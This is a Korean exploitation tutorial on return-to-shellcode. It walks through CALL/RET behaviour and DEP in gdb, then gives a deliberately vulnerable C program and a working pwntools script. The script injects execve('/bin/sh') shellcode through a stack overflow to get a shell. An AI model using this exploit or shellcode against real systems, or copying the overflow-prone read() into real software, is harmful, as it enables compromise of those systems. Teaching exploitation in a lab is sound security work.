02.Return to Shellcode

List

Return to Shellcode

- Return to Shellcode란 Return address 영역에 Shellcode가 저장된 주소로 변경해, Shellcode를 호출하는 방식입니다.

CALL & RET instruction

- **Return to Shellcode를 이해하기 위해 CALL,RET 명령어에 대한 이해가 필요합니다.**
  - CALL 명령어는 Return address(CALL 명령어 다음 명령어의 위치(주소 값))를 Stack에 저장하고, 피연산자 주소로 이동합니다.
  - RET 명령어는 POP 명령어를 이용해 RSP 레지스터가 가리키는 Stack영역에 저장된 값을 RIP(EIP)에 저장 후, 해당 주소로 이동합니다.
  - 즉, Stack영역에 저장된 Return address 값을 변경할 수 있다면 프로그램의 흐름을 변경 할 수 있습니다.

Decsription for CALL, RET instruction

Instruction	Processing(?)
Call <Operation>	PUSH ReturnAddress JMP <Operation>
ret	POP RIP JMP RIP

Proof of concept

- **다음과 같은 코드를 이용해 CALL, RET 명령어에 대해 분석해 분석해보겠습니다.**
  - main()함수에서 vuln() 함수를 호출하는 단순한 코드이며, vuln() 함수는 아무런 동작을 하지 않습니다.

test.c

```
#include <stdio.h>
#include <unistd.h>

void vuln(){
}

void main(){
        vuln();
}
```

- **다음과 같이 Break point를 설정합니다.**
    - 0x4004e6 : vuln 함수를 호출하는 CALL 명령어
        - CALL 명령어 다음 명령어의 위치 : 0x4004eb
    - 0x4004d6 : vuln 함수의 첫번째 명령어

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit$ gcc -fno-stack-protector -o test test.c
lazenca0x0@ubuntu:~/Exploit$ gdb -q ./test
Reading symbols from ./test...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004004dd <+0>:        push   rbp
   0x00000000004004de <+1>:        mov    rbp,rsp
   0x00000000004004e1 <+4>:        mov    eax,0x0
   0x00000000004004e6 <+9>:        call   0x4004d6 <vuln>
   0x00000000004004eb <+14>:        nop
   0x00000000004004ec <+15>:        pop    rbp
   0x00000000004004ed <+16>:        ret
End of assembler dump.
gdb-peda$ b *0x00000000004004e6
Breakpoint 1 at 0x4004e6

gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x00000000004004d6 <+0>:        push   rbp
   0x00000000004004d7 <+1>:        mov    rbp,rsp
   0x00000000004004da <+4>:        nop
   0x00000000004004db <+5>:        pop    rbp
   0x00000000004004dc <+6>:        ret
End of assembler dump.
gdb-peda$ b *0x00000000004004d6
Breakpoint 2 at 0x4004d6

gdb-peda$ b *0x00000000004004dc
Breakpoint 3 at 0x4004dc
gdb-peda$
```

- **다음과 같이 CALL 명령어의 동작을 확인 할 수 있습니다.**
    - vuln() 함수의 호출 전 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffffe4b0이며, 해당 영역에 저장되어 있는 값은 0x4004f0 입니다.
    - vuln() 함수의 호출 후 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffffe4a8이며, 해당 영역에 저장되어 있는 값은 0x4004eb 입니다.
    - 즉, CALL 명령어에 의해 Stack에 호출된 함수가 종료된 후에 이동할 주소 값을 저장합니다.

Call instruction

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/test
Breakpoint 1, 0x00000000004004e6 in main ()
gdb-peda$ i r rsp
rsp            0x7fffffffe4b0        0x7fffffffe4b0
gdb-peda$ x/gx 0x7fffffffe4b0
0x7fffffffe4b0:        0x00000000004004f0
gdb-peda$ c
Continuing.

Breakpoint 2, 0x00000000004004d6 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe4a8        0x7fffffffe4a8
gdb-peda$ x/gx 0x7fffffffe4a8
0x7fffffffe4a8:        0x00000000004004eb
gdb-peda$
```

- **다음과 같이 RET 명령어의 동작을 확인 할 수 있습니다.**
  - RET 명령어가 실행 전 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffffe4a8이며, 해당 영역에 저장되어 있는 값은 0x4004eb 입니다.
  - RET 명령어가 실행 후 RSP(ESP) 레지스터가 가리키는 Stack의 위치는 0x7fffffffe4b0이며, 해당 영역에 저장되어 있는 값은 0x4004f0 입니다.
    - RET 명령어에 의해 CALL 명령어 다음 명령어(0x4004eb)가 있는 곳으로 이동하였습니다.
  - RET 명령어에 의해 Stack에 저장된 값을 주소 값을 RIP 레지스터에 저장하여 해당 주소로 이동하게 됩니다.
  - 즉, Stack에 저장된 Return address를 변경 할 수 있다면, 공격자는 원하는 영역으로 이동 할 수 있습니다.

RET instruction

```
Breakpoint 3, 0x00000000004004dc in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe4a8        0x7fffffffe4a8
gdb-peda$ x/gx 0x7fffffffe4a8
0x7fffffffe4a8:        0x00000000004004eb
gdb-peda$ ni
0x00000000004004eb in main ()
gdb-peda$ i r rip
rip            0x4004eb        0x4004eb <main+14>
gdb-peda$ i r rsp
rsp            0x7fffffffe4b0        0x7fffffffe4b0
gdb-peda$ x/gx 0x7fffffffe4b0
0x7fffffffe4b0:        0x00000000004004f0
gdb-peda$
```

- **다음과 같이 Stack Overwrite에 의해 변경된 Return address 영역으로 이동합니다.**
  - Return address 영역(0x7fffffffe488)에 저장되어 있던 값은 main+14(0x4004eb) 입니다.
  - Stack overflow에 의해 해당 값(0x4004eb)을 0x4004d6(vuln+0) 으로 변경될 수 있습니다.
    - 아래 예제에서는 편의를 위해 gdb의 set 명령어를 이용해 값을 변경하였습니다.
  - RET 명령어는 RSP 레지스터가 가리티는 주소의 값이 0x4004d6이기 때문에 0x4004d6 영역으로 이동합니다.
  - 즉, Return address영역에 Shellcode가 저장된 주소로 저장하면, 해당 영역으로 이동하게 됩니다.

Stack Overwrite

```
Breakpoint 3, 0x00000000004004dc in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe488        0x7fffffffe488
gdb-peda$ x/gx 0x7fffffffe488
0x7fffffffe488:        0x00000000004004eb
gdb-peda$ set *0x7fffffffe488 = 0x4004d6
gdb-peda$ x/gx 0x7fffffffe488
0x7fffffffe488:        0x00000000004004d6
gdb-peda$ ni
0x00000000004004d6 in vuln ()
gdb-peda$ i r rip
rip            0x4004d6        0x4004d6 <vuln>
gdb-peda$
```

Permissions in memory

- **Return to Shellcode를 이해하기 위해 Memory 권한에 대한 이해가 필요합니다.**
  - **프로그램에서 사용되는 메모리 영역을 모두 아래와 같이 권한들이 설정되어 있습니다.**
    - read(r) : 메모리 영역의 값을 읽을 수 있습니다.
    - write(w) : 메모리 영역에 값을 저장 할 수 있습니다.
    - excute(x) : 메모리 영역에서 코드를 실행 할 수 있습니다.
  - GCC는 기본적으로 DEP가 적용되기 때문에 코드가 저장된 영역에만 실행권한이 설정되며, 데이터가 저장되는 영역에는 실행권한이 설정되지 않습니다.
  - 즉, Shellcode를 실행하기 위해 Shellcode가 저장된 영역은 excute 권한이 설정되어 있어야 합니다.

Permissions in memory(DEP enabled)

```
00400000-00401000 r-xp 00000000 08:01 925169                             /home/lazenca0x0/Exploit/shellcode/test
00600000-00601000 r--p 00000000 08:01 925169                             /home/lazenca0x0/Exploit/shellcode/test
00601000-00602000 rw-p 00001000 08:01 925169                             /home/lazenca0x0/Exploit/shellcode/test
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1975091                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1975091                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1975091                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1975091                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1975089                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fdd000-7ffff7fe0000 rw-p 00000000 00:00 0
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1975089                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1975089                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7fffffffde000-7ffffffff000 rw-p 00000000 00:00 0                         [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
```

- **DEP를 해제하기 위해 GCC 옵션으로 "-z execstack" 를 추가해야 합니다.**
  - 해당 옵션으로 인해 데이터 저장 영역에도 excute 권한이 설정되었습니다.
  - 즉, Stack에 저장된 Shellcode를 실행 될 수 있습니다.

Permissions in memory(DEP disabled)

```
00400000-00401000 r-xp 00000000 08:01 925169                             /home/lazenca0x0/Exploit/shellcode/test
00600000-00601000 r-xp 00000000 08:01 925169                             /home/lazenca0x0/Exploit/shellcode/test
00601000-00602000 rwxp 00001000 08:01 925169                             /home/lazenca0x0/Exploit/shellcode/test
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1975091                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1975091                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r-xp 001c0000 08:01 1975091                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rwxp 001c4000 08:01 1975091                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rwxp 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1975089                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fdd000-7ffff7fe0000 rwxp 00000000 00:00 0
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r-xp 00025000 08:01 1975089                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rwxp 00026000 08:01 1975089                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rwxp 00000000 00:00 0
7fffffffde000-7ffffffff000 rwxp 00000000 00:00 0                         [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
```

Proof of concept

- **Return to Shellcode를 확인하기 위해 다음 코드를 사용합니다.**
  - main() 함수는 vuln() 함수를 호출합니다.
  - vuln() 함수는 read() 함수를 이용해 사용자로 부터 100개의 문자를 입력받습니다.
    - 여기에서 취약성이 발생합니다. buf 변수의 크기는 50byte이기 때문에 Stack Overflow가 발생합니다.

poc.c

```
#include <stdio.h>
#include <unistd.h>

void vuln(){
    char buf[50];
    printf("buf[50] address : %p\n",buf);
    read(0, buf, 100);
}

void main(){
    vuln();
}
```

- Stack Overflow를 확인하기 위해 다음과 같이 Break point를 설정합니다.
    - 0x400566 : vuln 함수의 첫번째 명령어
    - 0x400595 : read() 함수 호출
    - 0x40059c : vuln() 함수의 ret 명령어

Break points

```
lazenca0x0@ubuntu:~/Exploit/shellcode$ gcc -z execstack -fno-stack-protector -o poc poc.c
lazenca0x0@ubuntu:~/Exploit/shellcode$ gdb -q ./poc
Reading symbols from ./poc...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400566 <+0>:        push   rbp
   0x0000000000400567 <+1>:        mov    rbp,rsp
   0x000000000040056a <+4>:        sub    rsp,0x40
   0x000000000040056e <+8>:        lea    rax,[rbp-0x40]
   0x0000000000400572 <+12>:        mov    rsi,rax
   0x0000000000400575 <+15>:        mov    edi,0x400634
   0x000000000040057a <+20>:        mov    eax,0x0
   0x000000000040057f <+25>:        call   0x400430 <printf@plt>
   0x0000000000400584 <+30>:        lea    rax,[rbp-0x40]
   0x0000000000400588 <+34>:        mov    edx,0x64
   0x000000000040058d <+39>:        mov    rsi,rax
   0x0000000000400590 <+42>:        mov    edi,0x0
   0x0000000000400595 <+47>:        call   0x400440 <read@plt>
   0x000000000040059a <+52>:        nop
   0x000000000040059b <+53>:        leave
   0x000000000040059c <+54>:        ret
End of assembler dump.
gdb-peda$ b *0x400566
Breakpoint 1 at 0x400566
gdb-peda$ b *0x400595
Breakpoint 2 at 0x400595
gdb-peda$ b *0x40059c
Breakpoint 3 at 0x40059c
gdb-peda$
```

- 다음과 같이 Return address를 확인 할 수 있습니다.
    - rsp 레지스터가 가리키고 있는 최상위 Stack 메모리는 0x7fffffffe448 입니다.
    - 해당 메모리에 vuln() 함수 종료 후 돌아갈 코드영역의 주소 값(0x4005ab)이 저장되어 있습니다.

Return address

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/shellcode/poc

Breakpoint 1, 0x0000000000400566 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe448        0x7fffffffe448
gdb-peda$ x/gx 0x7fffffffe448
0x7fffffffe448:        0x00000000004005ab
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x000000000040059d <+0>:        push   rbp
   0x000000000040059e <+1>:        mov    rbp,rsp
   0x00000000004005a1 <+4>:        mov    eax,0x0
   0x00000000004005a6 <+9>:        call   0x400566 <vuln>
   0x00000000004005ab <+14>:        nop
   0x00000000004005ac <+15>:        pop    rbp
   0x00000000004005ad <+16>:        ret
End of assembler dump.
gdb-peda$
```

- 다음과 같이 buf 변수의 주소를 확인 할 수 있습니다.
  - buf변수의 위치는 0x7fffffffe400 이며, Return address 위치와 72byte 떨어져 있습니다.
  - 즉, 사용자 입력 값으로 문자를 72개 이상 입력하면, Return address를 덮어쓸수 있습니다.

Enter string

```
gdb-peda$ c
Continuing.
buf[50] address : 0x7fffffffe400

Breakpoint 2, 0x0000000000400595 in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe400        0x7fffffffe400
gdb-peda$ p/d 0x7fffffffe448 - 0x7fffffffe400
$1 = 72
gdb-peda$ ni
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKK
gdb-peda$ x/10gx 0x7fffffffe400
0x7fffffffe400:        0x4141414141414141        0x4242424242424242
0x7fffffffe410:        0x4343434343434343        0x4444444444444444
0x7fffffffe420:        0x4545454545454545        0x4646464646464646
0x7fffffffe430:        0x4747474747474747        0x4848484848484848
0x7fffffffe440:        0x4949494949494949        0x4a4a4a4a4a4a4a4a
gdb-peda$
```

- 다음과 같이 Return address 값이 변경된 것을 확인 할 수 있습니다.
  - 0x7fffffffe448 영역에 0x4a4a4a4a4a4a4a4a(JJJJJJJJ)가 저장되었습니다.
  - 즉, 72개의 문자를 입력 후 shellcode가 저장된 주소를 저장하면 Return address를 덮어 쓸 수 있습니다.

Overwrite return address

```
Breakpoint 3, 0x000000000040059c in vuln ()
gdb-peda$ x/gx 0x7fffffffe448
0x7fffffffe448:        0x4a4a4a4a4a4a4a4a
gdb-peda$ x/s 0x7fffffffe448
0x7fffffffe448:        "JJJJJJJJKKKKKKKK\n\367\377\177"
gdb-peda$
```

Exploit

- 앞에서 확인한 내용을 바탕으로 아래와 같이 Exploit code를 작성 할 수 있습니다.

exploit.py

```
from pwn import *

p = process('./poc')
p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

exploit =
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
exploit += "\x90" * (72 - len(exploit))
exploit += p64(stackAddr)
p.send(exploit)
p.interactive()
```

- 해당 Exploit code를 실행하여 shell을 획득합니다.

python exploit.py

```
lazenca0x0@ubuntu:~/Exploit/shellcode$ python exploit.py
[+] Starting local process './test': pid 111702
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

Protection

- **Memory NX Bit(DEP) .**
- **Wiki .**
  - **01.NX Bit(MS : DEP)**

Related site

- http://shell-storm.org/shellcode/files/shellcode-806.php

Comments